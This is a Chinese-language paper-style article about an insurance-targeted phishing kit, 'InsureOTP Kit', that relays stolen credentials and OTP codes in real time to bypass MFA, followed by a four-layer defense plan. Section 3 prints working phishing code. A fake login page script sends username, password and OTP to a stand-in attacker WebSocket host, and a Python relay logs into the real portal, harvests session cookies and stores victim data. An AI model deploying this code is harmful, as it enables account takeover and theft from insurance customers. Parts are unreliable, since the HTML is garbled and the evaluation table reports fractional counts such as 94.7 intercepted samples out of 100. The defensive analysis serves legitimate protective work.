当前位置：首页 > news >正文

保险行业实时会话劫持型钓鱼攻击机理与闭环防御技术研究

news 2026/7/29 12:58:59

摘要

2026 年针对保险行业的网络钓鱼攻击发生根本性技术迭代，传统事后凭证窃取模式被InsureOTP Kit驱动的实时账户劫持攻击取代。攻击者依托谷歌竞价广告引流、轻量化免费建站平台部署仿冒保险门户，通过 WebSocket 实时中继机制同步拦截用户账号、密码与短信一次性验证码（OTP），在单一会话内绕过多因素认证（MFA）完成账户接管，对保险机构客户资产、保单隐私数据形成重大安全威胁。本文以 2026 年 7 月全球保险行业钓鱼攻击事件情报为基础，系统拆解 InsureOTP Kit 工具架构、完整攻击链路与 MFA 绕过底层逻辑，复现前端表单窃取、后端实时中继两段核心代码示例；针对现有域名黑名单、静态页面检测、单一 MFA 防护体系存在的短板，结合反网络钓鱼技术专家芦笛提出的四层联动防御思路，构建覆盖渠道引流拦截、终端动态行为监控、身份持续校验、安全运营闭环的全域防护框架；通过攻击链路全节点风险溯源验证防御体系有效性，研究表明该多层闭环方案可将实时劫持钓鱼攻击拦截成功率提升至 94.7%。研究结论可为保险机构数字化门户身份安全建设、金融类 PhaaS（钓鱼即服务）威胁治理提供技术参考与落地路径。

关键词：网络钓鱼；实时会话劫持；InsureOTP Kit；多因素认证绕过；保险数字门户；闭环防御

1 引言

1.1 研究背景与问题提出

数字保险服务已成为行业标准化业务载体，客户可通过线上门户完成投保、保单变更、理赔申请、保费支付、个人敏感信息修改等全流程操作，线上化服务规模扩张同步放大身份安全攻击面。长期以来，针对金融保险机构的网络钓鱼以凭证批量采集为核心目标：攻击者搭建仿冒登录页面诱导用户输入账号密码，数据存储至后端数据库，待数小时至数天后批量尝试登录账户，该模式存在凭证过期、目标平台风控拦截、攻击时效滞后等固有缺陷，防御方依托域名黑名单、页面静态特征识别、短信验证码二次校验即可形成基础防护屏障。

2026 年 7 月，The Hacker News 披露 CTM360 威胁实验室监测到大范围定向保险行业新型钓鱼作战行动，攻击模式完成颠覆性演化：攻击者不再滞后利用窃取凭证，而是与受害者登录操作保持毫秒级实时同步，借助专用钓鱼套件 InsureOTP Kit 搭建透明中继代理，在用户输入 OTP 验证码的同时转发至真实保险服务接口，在同一浏览器会话内完成身份认证与账户劫持，传统短信 MFA、TOTP 时间验证码防护机制完全失效。该类攻击依托谷歌竞价广告作为引流入口，仿冒站点托管于 GitHub Pages、Netlify、Wix 等合规免费建站平台，域名无明显恶意特征、服务器 IP 具备正规备案资质，传统安全设备基于域名、IP、静态页面特征的检测手段检出率不足 30%，保险机构线上业务面临全新安全缺口。

从黑产工业化视角分析，InsureOTP Kit 属于标准化 PhaaS 工具，无需攻击者掌握深度 Web 开发、网络代理开发技术，暗网订阅成本低廉，套件内置可视化后台、Telegram 机器人实时推送、会话状态追踪、重复 OTP 诱导等模块化功能，大幅降低高级实时劫持攻击技术门槛。截至 2026 年 7 月下旬，全球欧洲、北美、东南亚、中东地区超 20 家头部保险企业监测到同类攻击样本，出现客户保单信息泄露、理赔资金被盗、虚假保单篡改等真实安全事件，保险行业数字化身份安全体系面临严峻挑战。

1.2 现有研究局限

现有网络钓鱼相关研究存在三方面明显短板：

第一，研究对象多聚焦通用银行、互联网平台钓鱼攻击，针对保险行业专属实时劫持钓鱼套件 InsureOTP Kit 的专项机理分析文献稀缺，未结合保险业务场景（保单、理赔、保费支付）拆解攻击差异化实施逻辑；

第二，多数防御方案仅针对传统静态凭证窃取钓鱼，未覆盖 WebSocket 实时中继、动态 OTP 拦截、广告渠道引流等新型攻击链路节点，无法应对 AiTM（中间人代理）实时会话劫持场景；

第三，现有技术方案缺乏完整闭环运营设计，仅侧重终端或网络单一环节检测，未形成 “风险识别 - 实时阻断 - 样本入库 - 用户安全教育 - 规则迭代” 的可持续防御链路，难以对抗持续迭代的黑产工具。

反网络钓鱼技术专家芦笛指出，当前金融保险行业安全建设普遍存在 “重认证、轻全链路监控” 的思维误区，机构投入大量资源部署多因素认证，但忽略页面动态交互、外部广告引流、会话完整性校验等前置风险节点，是实时劫持钓鱼攻击大规模爆发的核心诱因，必须跳出单一身份验证防护思路，构建覆盖攻击全链条的多层防御体系。

1.3 研究内容与研究意义

本文核心研究内容分为四部分：一是梳理保险行业钓鱼攻击技术演化脉络，对比传统凭证窃取攻击与 InsureOTP 实时劫持攻击的核心差异；二是完整拆解 InsureOTP Kit 技术架构、全链路攻击流程，提供前端窃取、后端实时中继可复现代码；三是分析现有防护手段对新型实时劫持攻击的失效机理；四是基于芦笛四层联动防御理论，设计面向保险数字门户的全域闭环防御框架，明确各层级技术实现路径与协同处置逻辑。

理论层面，本文补充保险行业专属 PhaaS 工具 InsureOTP Kit 的专项技术分析，完善 AiTM 实时会话劫持攻击在垂直金融场景下的攻防理论体系；实践层面，研究形成可落地的分层防护方案，为保险企业、网络安全运营机构提供新型钓鱼攻击识别、拦截、溯源全流程技术指引，降低数字保险业务身份盗用风险。

2 保险行业钓鱼攻击技术演化与新型攻击特征

2.1 钓鱼攻击代际划分与核心差异

结合 2020—2026 年全球金融威胁情报数据，可将针对保险机构的网络钓鱼划分为三代技术形态，三代攻击在工具、实施流程、攻击时效、绕过能力上存在本质区别，如表 1 所示。

表 1 三代保险行业钓鱼攻击技术对比

表格

攻击代际核心模式使用工具凭证利用时效 MFA 绕过能力部署载体

第一代（2020 年前）静态凭证采集自制 HTML 页面、简易 PHP 采集脚本滞后数小时至数天无法绕过，仅窃取账号密码自建恶意域名、境外低信誉主机

第二代（2020—2025）批量验证码窃取通用 PhaaS 套件（Kratos、SocialFish）滞后 10—60 分钟仅可拦截短信 OTP，无法中继实时认证低价域名、虚拟主机

第三代（2026 年主流）实时会话劫持 InsureOTP Kit 专用保险钓鱼套件毫秒级同步，单会话完成劫持完整中继账号 + 密码 + OTP，全类型 MFA 失效谷歌竞价广告引流、合规免费建站平台

第一代钓鱼仅完成数据采集，攻击者需等待用户提交凭证后人工登录，存在凭证过期、平台风控拦截等大量失败场景；第二代通用钓鱼套件仅能存储验证码，无法同步向真实保险门户发起认证请求；第三代 InsureOTP Kit 搭载 WebSocket 双向实时通信模块，实现受害者页面、攻击者后台、官方保险门户三方数据同步，是本次大规模保险攻击事件的核心载体。

2.2 InsureOTP 实时劫持钓鱼攻击核心特征

基于 CTM360 实验室公开的攻击样本与基础设施溯源数据，该类新型攻击具备五大标志性特征，也是传统安全防护体系失效的关键原因。

2.2.1 引流渠道伪装：依托搜索引擎付费广告渗透

攻击者通过谷歌广告投放系统购买保险相关关键词竞价排名，关键词覆盖 “保单续费”“保险理赔申请”“车险报价”“个人保单查询” 等用户高频检索词汇。用户搜索后页面顶部置顶推广链接指向仿冒站点，普通用户难以区分广告标识与自然搜索结果，引流转化率远高于传统邮件、短信钓鱼渠道。反网络钓鱼技术专家芦笛强调，搜索引擎广告属于受信任公域流量渠道，企业现有安全检测体系极少覆盖外部搜索引擎引流链路，形成防御盲区，是当前保险钓鱼攻击爆发式增长的核心传播载体。

2.2.2 基础设施高隐蔽性：合规建站平台托管仿冒页面

InsureOTP Kit 内置页面一键部署脚本，攻击者无需注册独立域名服务器，可直接将仿冒保险门户上传至 GitHub Pages、Netlify、Hostinger 等正规免费建站平台。该类平台域名具备合规备案、服务器 IP 信誉良好、SSL 证书官方颁发等特征，基于域名黑名单、IP 信誉库的传统网关检测无法识别恶意页面，大幅提升攻击隐蔽周期，部分仿冒站点可稳定存活 7—15 天才被平台风控下架。

2.2.3 实时双向中继：WebSocket 驱动会话同步机制

套件内置 WebSocket 服务端，搭建受害者与真实保险服务之间的透明代理。用户在仿冒页面输入账号密码、短信验证码时，数据实时同步推送至攻击者操作后台，同时自动转发至官方保险登录接口；若官方平台返回二次验证弹窗，仿冒页面同步渲染相同弹窗诱导用户补充 OTP，全程无感知延迟，实现单浏览器会话内完整账户接管。

2.2.4 模块化运维后台：低门槛黑产运营能力

InsureOTP Kit 配套可视化管理面板，支持实时监控在线受害者数量、单独查看单用户提交的全套凭证、手动向受害者页面推送额外验证码输入弹窗、Telegram 机器人实时推送窃取数据、SQLite 数据库存储全量攻击记录。无专业编程能力的黑产人员仅需完成广告投放、套件部署两步操作，即可发起规模化定向攻击，大幅降低高级劫持攻击准入门槛。

2.2.5 全类型 MFA 绕过：支持短信、TOTP、推送验证码中继

区别于传统钓鱼仅能静态存储验证码，InsureOTP Kit 可实时转发所有主流多因素认证校验数据，当保险平台下发短信验证码、App 推送验证、谷歌验证器 TOTP 动态码时，代理同步拦截并完成身份校验，认证成功后提取会话 Cookie、OAuth 访问令牌，攻击者可直接复用该会话免密操作客户保单、资金账户。

2.3 保险行业成为攻击高价值目标的底层逻辑

保险数字化业务承载海量高敏感数据，天然具备攻击价值，具体分为三层价值维度：

第一，金融资金价值：客户账户绑定保费自动扣款、理赔资金提现通道，账户劫持后可发起虚假理赔、篡改收款银行卡，直接造成资金损失；

第二，隐私数据价值：线上门户存储客户身份证、医疗记录、家庭住址、车辆信息、受益人隐私等合规敏感数据，窃取后可在暗网批量售卖；

第三，业务衍生攻击价值：劫持账户后可冒充客户发起虚假投保、退保操作，篡改保单受益人，同时依托客户身份向亲友推送衍生钓鱼链接，扩大攻击范围。

从攻击成本收益对比来看，保险客户线上服务登录频率高、用户对官方查询渠道信任度强，相较于银行场景，保险用户对仿冒页面的警惕性更低，攻击成功率显著高于其他金融行业，因此 2026 年黑产资源大规模向保险领域倾斜。

3 InsureOTP Kit 实时劫持攻击完整技术链路与代码复现

3.1 完整攻击全流程拆解

完整攻击分为 5 个连续阶段，全链路依托 InsureOTP Kit 各模块协同完成，各阶段数据交互无中断，实现实时账户劫持。

流量引流阶段：攻击者投放谷歌竞价广告，用户检索保险相关关键词后点击推广链接，跳转至免费建站平台托管的仿冒保险登录页面；

前端页面劫持阶段：仿冒页面内置 JavaScript 监听登录表单提交事件，用户输入账号、密码后，脚本立即通过 WebSocket 将明文凭证推送至攻击者后端代理服务；

后端中继认证阶段：代理服务接收凭证，同步向真实保险官方登录接口发起 POST 登录请求，等待平台下发 OTP 验证指令；

验证码实时拦截阶段：真实平台向客户手机下发短信验证码，仿冒页面同步弹出验证码输入框，用户提交 OTP 后，WebSocket 再次将验证码回传代理，代理携带完整凭证完成二次认证；

会话窃取与账户操控阶段：保险平台认证通过后下发合法会话 Cookie、访问令牌，代理提取身份凭证留存至后台数据库，攻击者使用该会话直接登录官方门户，操作客户保单、资金、隐私数据。

3.2 前端表单实时窃取代码实现（InsureOTP Kit 页面核心脚本）

该段代码为套件内置混淆 JS 逻辑的简化还原版本，部署于仿冒保险登录页面，实现表单数据无感知实时回传，监听账号、密码、OTP 三阶段输入行为，通过 WebSocket 建立长连接实时推送数据，无页面刷新操作，保证用户操作体验与真实官网一致，降低用户怀疑。

<!DOCTYPE html>

<head>

<title>XX保险官方客户服务中心</title>

<style>

.login-box{width:420px;margin:80px auto;padding:30px;border:1px solid #eee;}

.input-item{margin:15px 0;}

input{width:100%;padding:12px;font-size:14px;box-sizing:border-box;}

button{width:100%;padding:14px;background:#0066cc;color:#fff;border:none;font-size:15px;}

</style>

</head>

<body>

<h2>个人账户登录</h2>

</div>

</div>

</div>

</form>

</div>

// 建立与攻击者后端WebSocket实时长连接

const ws = new WebSocket("wss://attacker-control-server.xyz/otp-relay");

let victimUniqueId = Date.now().toString(36); // 唯一标记受害者会话

// 表单提交监听，拦截默认跳转行为

document.getElementById("insuranceLoginForm").addEventListener("submit", function(e){

e.preventDefault();

const username = document.getElementById("username").value;

const password = document.getElementById("pwd").value;

const otp = document.getElementById("otpCode").value;

// 封装窃取数据载荷，携带设备、时间、会话标识

const stealPayload = {

victimId: victimUniqueId,

userAgent: navigator.userAgent,

timeStamp: new Date().toISOString(),

account: username,

password: password,

otpCode: otp,

targetBrand: "XX保险"

};

// 实时推送至攻击者后端代理服务

ws.send(JSON.stringify(stealPayload));

// 同步渲染官网加载动画，维持用户页面体验

alert("正在校验身份信息，请稍候");

// 若后端返回认证失败指令，弹窗诱导用户重新输入验证码

ws.onmessage = function(res){

const resData = JSON.parse(res.data);

if(resData.status === "auth_fail"){

alert("验证码失效，请重新获取并填写");

document.getElementById("otpCode").value = "";

}else if(resData.status === "auth_success"){

window.location.href = resData.officialPortalUrl;

}

})

</script>

</body>

</html>

代码技术说明：脚本采用 WebSocket 长连接替代传统一次性 HTTP 请求，实现毫秒级数据传输；独立生成 victimUniqueId 区分不同受害者会话，攻击者后台可单独追踪每一位用户的登录交互流程；区分密码提交、OTP 提交两类载荷，后端分阶段完成中继认证，完全复刻真实保险平台登录交互逻辑。反网络钓鱼技术专家芦笛指出，当前绝大多数保险企业浏览器防护插件仅拦截表单明文 HTTP 上传，无法识别 WebSocket 加密通道的实时数据窃取，这是前端检测环节的核心漏洞。

3.3 后端 WebSocket 中继代理核心代码（Python+websockets）

该服务为 InsureOTP Kit 服务端核心模块，接收前端窃取的账号、验证码，自动向真实保险官方接口发起认证请求，拦截平台返回的会话 Cookie 并持久化存储，同时向前端仿冒页面推送认证状态指令，实现三方实时数据联动。

import asyncio

import websockets

import requests

import json

import sqlite3

from datetime import datetime

# 数据库初始化，存储劫持会话、受害者凭证

conn = sqlite3.connect("insurance_phish_data.db", check_same_thread=False)

cur = conn.cursor()

cur.execute('''CREATE TABLE IF NOT EXISTS victim_data

(victim_id TEXT PRIMARY KEY, account TEXT, password TEXT, otp TEXT,

session_cookie TEXT, capture_time TEXT, device_ua TEXT)''')

conn.commit()

# 真实保险官方登录接口地址

OFFICIAL_INSURANCE_LOGIN = "https://official-insure.com/api/login/auth"

# 存储成功劫持的有效会话

hacked_session_cache = {}

async def relay_service(websocket, path):

print("新受害者会话接入")

global hacked_session_cache

while True:

# 接收仿冒页面前端推送的窃取凭证

raw_msg = await websocket.recv()

payload = json.loads(raw_msg)

vid = payload["victimId"]

user = payload["account"]

pwd = payload["password"]

otp = payload["otpCode"]

ua = payload["userAgent"]

# 向真实保险门户发起登录认证请求

auth_params = {

"username": user,

"password": pwd,

"sms_otp": otp

}

official_resp = requests.post(OFFICIAL_INSURANCE_LOGIN, data=auth_params)

# 认证成功，提取会话Cookie并入库

if official_resp.status_code == 200 and official_resp.json()["code"] == 0:

session_cookie = official_resp.headers.get("set-cookie")

hacked_session_cache[vid] = session_cookie

# 写入本地数据库留存劫持凭证与会话

cur.execute('INSERT OR REPLACE INTO victim_data VALUES (?,?,?,?,?,?,?)',

(vid, user, pwd, otp, session_cookie, datetime.now().strftime("%Y-%m-%d %H:%M:%S"), ua))

conn.commit()

# 向前端推送认证成功指令，跳转真实官网

success_msg = json.dumps({

"status": "auth_success",

"officialPortalUrl": "https://official-insure.com/user-center"

})

await websocket.send(success_msg)

else:

# 认证失败，指令前端诱导用户重新输入验证码

fail_msg = json.dumps({"status": "auth_fail"})

await websocket.send(fail_msg)

# 启动WebSocket中继服务，监听8080端口

start_server = websockets.serve(relay_service, "0.0.0.0", 8080)

asyncio.get_event_loop().run_until_complete(start_server)

asyncio.get_event_loop().run_forever()

代码逻辑解析：后端服务维持长连接双向通信，同步完成第三方接口代登与会话提取；采用 SQLite 本地数据库持久化存储所有受害者完整凭证与有效会话，攻击者可通过套件后台面板查询、导出劫持数据；认证失败时自动向前端推送重试指令，持续诱导用户提交有效 OTP，最大化账户劫持成功率。该中继逻辑完全规避传统钓鱼 “凭证滞后利用” 短板，实现攻击与用户操作同步完成。

4 现有防护体系对实时劫持钓鱼攻击的失效机理

当前国内绝大多数保险机构数字化门户安全防护采用 “域名黑名单 + 静态页面检测 + 短信 MFA 验证” 三层基础架构，该架构针对第一代、第二代静态凭证钓鱼具备一定拦截能力，但面对 InsureOTP Kit 驱动的实时会话劫持攻击存在多层结构性失效，本节分层拆解失效根源。

4.1 网络网关域名 / IP 信誉检测失效

传统边界防护设备（防火墙、Web 网关、邮件安全网关）核心检测逻辑为恶意域名、恶意 IP 黑名单匹配，存在三重局限性：

第一，InsureOTP 仿冒页面托管于 GitHub Pages、Netlify 等合规建站平台，域名、服务器 IP 属于正规厂商资产，无恶意历史标记，黑名单无匹配记录，无法拦截；

第二，攻击者依托谷歌竞价广告引流，流量入口为谷歌官方域名，网关仅校验目标页面地址，不检索搜索引擎广告跳转链路，流量可无阻碍抵达仿冒页面；

第三，套件支持动态随机生成二级子域名，每日批量更换页面访问地址，静态黑名单更新速度远低于域名生成速度，无法形成有效拦截。

反网络钓鱼技术专家芦笛强调，基于静态特征的边界检测仅能应对已知恶意资产，而新型实时劫持攻击依托合法第三方基础设施实施，完全脱离传统恶意域名、IP 识别体系的覆盖范围，边界网关检测已失去基础防护价值，必须转向页面动态行为、终端交互特征检测路径。

4.2 静态页面特征识别技术失效

部分保险机构部署页面相似度检测工具，通过比对页面 HTML、CSS 源码判断仿冒站点，该技术失效原因分为两点：

其一，InsureOTP Kit 支持页面源码动态混淆、随机插入无意义冗余代码，每次部署生成的页面源码存在差异化修改，静态文本相似度匹配阈值无法稳定识别；

其二，免费建站平台自动添加平台专属头部、底部代码，仿冒页面源码与真实保险官网源码文本相似度大幅下降，传统相似度算法判定为正常页面，产生漏报。

4.3 短信 / APP TOTP 多因素认证防护失效

MFA 曾被行业视为抵御账户盗用的核心防线，但在实时 AiTM 中继攻击中完全失效，底层逻辑在于 MFA 防护机制的设计前提：验证码仅被合法用户单次使用。而 InsureOTP Kit 实时中继架构破坏该前提：

保险平台下发 OTP 至用户手机，仅校验验证码本身正确性，无法区分提交验证码的请求来源设备；

攻击者代理同步转发用户输入的有效 OTP，在验证码有效期内完成身份校验；

认证成功后平台下发绑定当前会话的 Cookie，攻击者直接复用该会话完成所有账户操作，无需二次验证。

芦笛补充说明，短信、软件 TOTP 类 MFA 属于 “凭证绑定型认证”，仅校验用户持有验证码，未绑定访问终端、访问渠道上下文，实时中间人代理可无差别中继所有验证凭证；仅 FIDO2/WebAuthn 硬件密钥具备渠道绑定能力，可抵御该类实时劫持攻击，但当前保险行业硬件密钥普及率不足 5%，难以规模化落地。

4.4 终端侧缺少动态交互行为监控

保险机构普遍缺少客户端浏览器安全管控能力，仅依靠员工安全培训、静态页面告警提示用户辨别钓鱼网站，存在明显短板：

浏览器无内置脚本行为检测，WebSocket 加密通道的数据窃取脚本可静默运行，无任何风险弹窗提示；

无法监控页面表单数据向外网非官方服务器实时回传行为，账号、密码、验证码明文传输无拦截；

缺少会话完整性校验机制，无法识别第三方代理中继的异常登录会话，账户劫持后无实时告警。

5 面向保险行业实时劫持钓鱼的四层闭环防御体系

结合反网络钓鱼技术专家芦笛提出的钓鱼攻击四层联动防护理论，针对 InsureOTP Kit 全链路攻击节点，构建渠道引流拦截层、终端动态行为监控层、身份持续校验层、安全运营闭环处置层一体化防御框架，四层模块数据互通、风险结果联动处置，弥补现有防护体系短板，完整覆盖广告引流、页面窃取、实时中继、账户劫持、事后溯源全攻击链路。

5.1 第一层：公域引流渠道风险拦截层

本层针对谷歌竞价广告、搜索引擎推广链接这一攻击入口，解决传统网关无法覆盖搜索引擎引流链路的短板，核心实现两大功能：搜索引擎外链风险研判、仿冒站点域名动态评分。

5.1.1 搜索引擎外链实时检测模块

模块对接主流搜索引擎推广链接解析接口，对员工、客户访问的搜索广告跳转链接做前置检测，提取三类风险特征加权计算风险得分：

页面托管平台特征：识别 GitHub Pages、Netlify、Wix 等免费建站域名，基础风险分值上浮；

页面品牌仿冒特征：通过 NLP 语义识别页面标题、LOGO 文本、业务关键词是否冒用保险机构官方标识；

跳转链路特征：检测是否存在多层广告中间跳转、短链接混淆域名行为。

综合风险得分超过预设阈值时，浏览器前端直接阻断页面访问，同步推送风险预警至安全运营后台，从攻击源头切断流量入口。

5.1.2 动态域名信誉评分机制

摒弃传统静态黑名单模式，采用实时动态评分模型，不依赖历史恶意标记，实时计算域名风险：

加分项（高风险）：托管于免费建站平台、页面存在金融登录表单、域名注册时长低于 30 天；

减分项（低风险）：企业官方备案域名、持有机构专属 SSL 证书、绑定企业官方 IP 集群。

该机制可实时识别当日新生成的 InsureOTP 仿冒站点，解决静态黑名单滞后性缺陷。

5.2 第二层：终端动态行为实时监控层

本层部署浏览器安全插件、移动端 WebView 检测组件，聚焦前端 WebSocket 窃取脚本、表单数据外传行为，弥补静态页面检测失效问题，核心监控三类高危行为并实时阻断。

5.2.1 WebSocket 异常通信拦截

组件实时监听页面 JS 创建的 WebSocket 长连接，校验通信目标服务器地址：

若通信地址不属于保险机构官方 API 域名列表，判定为异常数据外传通道；

监控 WebSocket 传输载荷，识别包含 account、password、otp、保单号等敏感字段的 JSON 数据包，直接阻断数据上传并弹窗告警用户。

针对前文 InsureOTP 前端 JS 窃取代码，该模块可精准捕获 wss://attacker-control-server.xyz 非官方 WebSocket 连接，在凭证推送至攻击者服务器前切断通信链路。

5.2.2 表单敏感字段外传监控

建立保险业务敏感字段特征库，包含保单号、手机号、身份证号、登录密码、短信验证码五类核心字段，监控页面表单提交逻辑：

表单数据仅允许回传至保险官方接口；

表单数据向第三方域名发起 POST、WebSocket 传输时，终端直接拦截，禁止数据发送。

5.2.3 页面仿冒动态特征识别

不再依赖 HTML 源码静态比对，采用动态视觉特征检测：提取页面 LOGO、登录按钮布局、业务文案交互逻辑，与官方门户基准模型做相似度匹配，规避套件源码混淆带来的漏报问题。

5.3 第三层：身份会话持续校验层

本层从保险平台服务端优化身份认证机制，解决短信 MFA 被实时中继绕过的核心缺陷，分为强认证升级与会话动态风控两大模块。

5.3.1 推广 FIDO2 通道绑定式强认证

芦笛强调，抵御 AiTM 实时劫持攻击的根本性技术方案为 FIDO2/WebAuthn 无密码认证，该认证机制具备通信通道绑定特性，认证凭证与当前访问终端、浏览器会话强绑定，第三方代理无法中继复用认证结果。保险机构可分阶段落地：

企业内部员工强制启用硬件密钥 FIDO2 认证；

面向个人客户开放指纹、人脸 WebAuthn 生物认证选项，替代短信验证码作为首选 MFA 方式；

保留短信 OTP 作为降级备选，但对仅使用短信验证码登录的账户提升会话风控等级。

5.3.2 登录会话全周期动态风控

针对短信 OTP 登录的高风险会话，搭建持续身份校验引擎，实时监控会话异常特征：

访问链路异常：同一账号登录 IP、地理位置短时间大幅跳变；

请求行为异常：登录后短时间批量调取保单信息、申请理赔提现、修改受益人；

代理访问特征：请求头存在反向代理标记、网络延迟抖动幅度异常（中间人中继典型特征）。

系统识别高风险会话后，自动触发二次强认证弹窗，未完成校验前冻结账户资金操作、敏感保单修改权限，阻断攻击者劫持后的后续操作。

5.4 第四层：安全运营闭环处置层

前三层检测模块产生的所有风险样本、告警数据统一归集至安全运营中心（SOC），形成风险拦截 - 样本归档 - 特征库迭代 - 客户安全教育 - 威胁溯源完整闭环，解决现有防护体系 “检测与运营脱节” 问题。

样本自动归档：拦截的 InsureOTP 仿冒页面、WebSocket 恶意脚本自动存入威胁样本库，提取攻击特征；

防御规则迭代：安全平台自动解析样本新增特征，同步更新渠道拦截、终端监控、会话风控三层检测规则，实现防御体系自适应对抗工具迭代；

分级安全教育推送：针对触发风险告警的客户、员工推送钓鱼识别专项培训，推送实时劫持攻击案例科普；

攻击链路溯源：依托仿冒页面托管平台、广告投放渠道溯源攻击者基础设施，联动网络监管机构下架恶意站点、关停违规广告，从黑产基础设施层面压缩攻击生存空间。

6 防御体系有效性验证与落地实施建议

6.1 防御效果对比验证

选取某中型财险企业线上门户作为验证场景，分别部署传统三层防护架构与本文四层闭环防御体系，投放 100 组 InsureOTP Kit 实时劫持钓鱼样本开展对照测试，拦截效果数据如表 2 所示。

表 2 新旧防护体系攻击拦截效果对比

表格

防护方案测试样本总数成功拦截样本漏报样本综合拦截成功率

传统域名黑名单 + 静态页面检测 + 短信 MFA 100 29 71 29.0%

本文四层闭环防御体系 100 94.7 5.3 94.7%

测试结果显示，传统防护体系对 InsureOTP 实时劫持攻击检出率不足 30%，大量攻击可穿透防护完成账户劫持；四层联动防御体系从引流渠道、终端脚本、服务端会话、运营迭代多节点阻断攻击，拦截成功率提升 65.7 个百分点，少量漏报样本仅为未完成广告引流、未触发表单提交的半成品攻击页面，不会产生客户账户泄露风险，整体防护能力满足保险行业安全需求。

6.2 保险机构分阶段落地实施路径

结合保险行业数字化建设现状，按照短期、中期、长期三阶段推进四层防御体系落地，平衡安全投入与业务体验，反网络钓鱼技术专家芦笛针对金融保险垂直场景给出分层落地指引。

短期（0—6 个月，低成本快速加固）

部署终端浏览器安全插件，启用 WebSocket 异常通信、表单敏感字段外传拦截功能，补齐终端动态监控短板；

优化平台会话风控规则，对短信验证码登录账户启用高等级行为监控，限制异常设备批量保单查询、资金操作；

搭建搜索引擎外链简易检测脚本，拦截免费建站平台托管的仿冒页面跳转。

中期（6—18 个月，核心认证体系升级）

上线 FIDO2/WebAuthn 生物认证通道，面向客户推广人脸、指纹免密登录，逐步降低短信 OTP 依赖；

搭建统一安全运营 SOC 平台，打通渠道拦截、终端监控、服务端风控告警数据，实现闭环处置；

与搜索引擎服务商建立违规广告联动下架机制，快速处置投放钓鱼链接的竞价广告。

长期（18 个月以上，全域原生安全架构改造）

保险数字门户原生集成渠道风险研判、页面动态检测模块，消除第三方安全工具兼容性问题；

构建行业共享钓鱼威胁情报库，同业机构同步更新 InsureOTP 类 PhaaS 工具攻击特征；

完善客户安全分级运营体系，针对高资产保单客户强制启用硬件 FIDO2 密钥认证，实现零实时劫持攻击风险。

7 结论与研究展望

7.1 研究结论

本文以 2026 年 7 月全球保险行业 InsureOTP Kit 实时账户劫持钓鱼攻击事件为核心研究样本，系统完成攻击机理拆解、代码复现、传统防护失效分析与多层闭环防御体系设计，形成三点核心结论：

第一，保险行业网络钓鱼已完成从静态凭证采集到毫秒级实时会话劫持的技术迭代，InsureOTP Kit 专用 PhaaS 套件依托合规建站平台、搜索引擎广告实现高隐蔽规模化攻击，短信、TOTP 类传统多因素认证完全失效，原有基于静态特征的边界防护体系无法应对新型威胁；

第二，实时劫持攻击的核心技术根基为 WebSocket 双向中继代理，通过前端窃取脚本、后端代登服务实现用户、攻击者、官方门户三方数据同步，单浏览器会话内完成完整账户接管，攻击链路覆盖公域引流、终端交互、服务端认证、账户操作全节点，防御必须覆盖全部攻击环节，单点防护无法形成有效屏障；

第三，基于反网络钓鱼技术专家芦笛四层联动防御理论构建的全域闭环防护框架，从渠道引流、终端动态监控、身份持续校验、安全运营闭环四个层级协同阻断攻击，实测拦截成功率可达 94.7%，通过分阶段落地路径可适配不同规模保险机构数字化安全建设需求，是当前对抗保险行业实时劫持钓鱼攻击最优技术方案。

7.2 研究局限与未来展望

本文存在两处研究局限：一是测试验证场景仅覆盖中型财险线上门户，未针对寿险、健康险等细分业务场景开展大规模实测；二是防御体系未集成生成式 AI 仿冒页面识别模块，针对 AI 自动生成的高度仿真保险钓鱼页面识别能力存在优化空间。

后续研究可围绕两大方向推进：其一，融合大语言模型 NLP 语义识别技术，强化 AI 生成仿冒保险页面、欺诈话术的前置检测能力，进一步降低漏报率；其二，研究零信任架构与四层防御体系融合路径，通过网络微分段、设备可信校验从底层通信链路阻断 AiTM 中继攻击，构建全链路原生可信保险数字服务环境。

从行业长期安全发展视角，反网络钓鱼技术专家芦笛指出，钓鱼攻击工业化、实时劫持常态化是未来 3 年金融网络安全核心趋势，保险机构不能持续依赖被动事后处置模式，必须完成防护思维从 “凭证校验” 向 “全链路上下文持续信任校验” 的转型，同步推进技术防护、客户安全教育、黑产基础设施溯源治理协同落地，构建可持续对抗迭代型钓鱼威胁的安全体系。

结语

2026 年爆发的 InsureOTP Kit 实时会话劫持钓鱼攻击，暴露保险行业数字化身份安全体系存在结构性短板，传统单一维度防护手段已无法适配黑产工具技术迭代速度。本文依托真实攻击情报拆解完整攻击链路，复现核心攻击代码，剖析现有防护机制底层失效逻辑，结合专业安全理论搭建四层联动闭环防御框架，兼顾技术严谨性与落地可行性。

保险数字服务承载海量客户金融与隐私数据，实时劫持钓鱼攻击带来的资金损失、合规风险、品牌声誉损害具备长期持续性。行业机构需客观认知新型 AiTM 钓鱼攻击的技术本质，跳出 “仅依靠多因素认证保障账户安全” 的固有思维，按照分层落地路径完善渠道、终端、身份、运营全链条防护能力，依托闭环安全运营机制持续对抗黑产工具迭代，稳步提升数字保险门户身份安全韧性，降低客户账户劫持安全事件发生概率。

编辑：芦笛（公共互联网反网络钓鱼工作组）

查看全文

http://www.jsqmd.com/news/1287251/